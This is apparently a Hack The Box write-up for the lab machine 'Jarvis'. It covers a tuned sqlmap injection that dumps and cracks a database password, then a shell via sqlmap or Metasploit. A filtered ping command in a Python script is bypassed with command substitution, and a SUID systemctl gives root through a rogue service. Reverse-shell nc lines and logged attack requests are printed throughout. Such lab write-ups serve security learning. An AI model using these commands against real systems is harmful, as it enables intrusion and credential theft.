Hack The Box Write Up - Jarvis
Hacker Orientation
This box was so much fun!
SQLi with a dash of custom exploitation.
OS: Linux
Difficulty: Medium
Points: 30
Release: 22 Jun 2019
IP: 10.10.10.143
nmap:
# Nmap 7.70 scan initiated Sat Sep 7 15:47:04 2019 as: nmap -p- -sV -o nmap_sv_p.out 10.10.10.143
Nmap scan report for 10.10.10.143
Host is up (0.065s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
64999/tcp open http Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 7 15:51:20 2019 -- 1 IP address (1 host up) scanned in 256.25 seconds
Breaking it down
Nothing obvious on port 80, but at least there’s a thematic homepage
High port scan led me to :64999. Visiting it over http it dumped this:
Hey you have been banned for 90 seconds, don't be bad
Cheeky. Turns out this is the block page lol.
Dirbuster found /phpmyadmin/index.php
which was interesting, but nothing immediately actionable.
Back to browsing on the site on 80, I noticed a query parameter when viewing the room options:
http://10.10.10.143/room.php?cod=1
Injection Time!
Remember that block page? You’d get redirected (blocked) there if you tried using sqlmap
without any options.
After a lot of tuning, this worked for me:
--> # sqlmap -u http://10.10.10.143/room.php?cod=1 --random-agent --level=4 --tamper=space2comment --dbms=MySQL -D mysql --passwords
___
__H__
___ ___[,]_____ ___ ___ {1.3.8#stable}
|_ -| . [,] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 00:18:47 /2019-09-19/
[00:18:47] [INFO] loading tamper module 'space2comment'
[00:18:47] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[00:18:48] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 8870=8870
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cod=1 AND (SELECT 1172 FROM (SELECT(SLEEP(5)))fYZA)
Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: cod=-1255 UNION ALL SELECT CONCAT(0x7178766a71,0x50636b69526c466873454c745a714178524e6b444364796463547a686e67766d6c496b547a4b624d,0x7162627171),NULL,NULL,NULL,NULL,NULL,NULL#
---
[00:18:48] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[00:18:48] [INFO] testing MySQL
[00:18:48] [INFO] confirming MySQL
[00:18:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[00:18:48] [INFO] fetching database users password hashes
[00:18:48] [INFO] used SQL query returns 1 entry
[00:18:48] [INFO] used SQL query returns 1 entry
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[00:18:54] [INFO] writing hashes to a temporary file '/tmp/sqlmap4lL5YT1527/sqlmaphashes-imWTAZ.txt'
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] Y
[00:18:57] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
[00:18:59] [INFO] using default dictionary
[00:19:03] [INFO] starting dictionary-based cracking (mysql_passwd)
[00:19:03] [INFO] starting 2 processes
[00:19:09] [INFO] cracked password 'imissyou' for user 'DBadmin'
database management system users password hashes:
[*] DBadmin [1]:
password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
clear-text password: imissyou
[00:19:21] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.143'
[*] ending @ 00:19:21 /2019-09-09/
Shells
I found two ways to get a shell:
1) sqlmap’s --os-shell
flag
sqlmap -u http://10.10.10.143/room.php?cod=1 --random-agent --level=4 --tamper=space2comment --dbms=MySQL --os-shell
2) MSF (multi/http/phpmyadmin_lfi_rce)
I preferred the MSF method. It felt less “noisy” and got the job done.
Looking around
What users are on the box?
os-shell> cat /etc/passwd
do you want to retrieve the command standard output? [Y/n/a] a
command standard output:
---
...snip...
pepper:x:1000:1000:,,,:/home/pepper:/bin/bash
...snip...
---
pepper user, huh?
Let’s see what we can run with sudo
os-shell> sudo -l
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
---
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
---
Hmmmm. Let’s give it a shot!
sudo -u pepper -S /var/www/Admin-Utilities/simpler.py -p
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
Stats
Statistics
-----------
Number of Attackers: 7
Most Risky:
More than 1 ip found
10.10.14.254 - Attack Level : 4 Request: : GET /tmpbebed.php?cmd=nc%2010.10.14.254%20-e%20%2Fbin%2Fbash
10.10.15.224 - Attack Level : 4 Request: : GET /room.php?cod=2%20OR%203
10.10.15.2 - Attack Level : 4 Request: : GET /room.php?cod=1
10.10.14.76 - Attack Level : 4 Request: : GET /room.php?cod=3
10.10.14.179 - Attack Level : 4 Request: : GET /tmpbthnl.php?cmd=pwd
Most Recent: 10.10.14.234 --> 2019-09-11 16:30:01 : GET /js/respond.min.js?query=query%22%26cat+%2Fetc%2Fpasswd%26%22
List
Attackers
-----------
10.10.14.254 - Attack Level : 4
10.10.15.224 - Attack Level : 4
10.10.15.2 - Attack Level : 4
10.10.15.70 - Attack Level : 3
10.10.14.234 - Attack Level : 3
10.10.14.76 - Attack Level : 4
10.10.14.179 - Attack Level : 4
Ping works as expected
Enter an IP: 10.10.14.90
PING 10.10.14.90 (10.10.14.90) 56(84) bytes of data.
64 bytes from 10.10.14.90: icmp_seq=1 ttl=63 time=67.2 ms
64 bytes from 10.10.14.90: icmp_seq=2 ttl=63 time=236 ms
...
Code Analysis
Crack open the code and look at exec_ping()
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
Looks like we can get append our own command to the end of ping!
There’s a filter in the forbidden
array, so we need to be crafty..
The first exploit
1) Prep a reverse shell:
echo "/bin/nc 10.10.14.32 6969 -e /bin/bash" > /tmp/.ab
2) Open a nc shell on your box:
nc -lvp 6969
3) Back on Jarvis, pass in $(/tmp/.ab)
to simpler.py -p
Got a shell thanks to command encapsulation! I opted for a more stable by adding my attacker ssh key to authorized keys.
Grabbed the user flag, then ran LinEnum.sh.
Set owner User ID up on execution
Notice the SUID section.
pepper
can run systemctl!
[-] SUID files:
...snip...
-rwsr-x--- 1 root pepper 174520 Feb 17 2019 /bin/systemctl
...snip...
-rwsr-s--- 1 pepper pepper 174520 Sep 13 01:10 /home/pepper/systemctl
...snip...
Custom PrivEsc
1) Make a custom service
pepper@jarvis:~$ cat /tmp/.cd.service
[Unit]
Description=connection
After=network.target
[Service]
Type=simple
ExecStart=/bin/nc 10.10.14.32 6970 -e /bin/bash
Restart=always
RestartSec=5s
[Install]
WantedBy=default.target
2) Start listener locally with nc -lvp 6970
3) Enable and start the service
systemctl enable /tmp/.cd.service
systemctl start .cd.service
4) Go back to the listening shell, and get that root flag!
Closing thoughts
Nothing too crazy, but this box played pretty well with my skill set.
Haven’t had that much fun in a while 😬
Shout out to manulqwerty & Ghostpp7!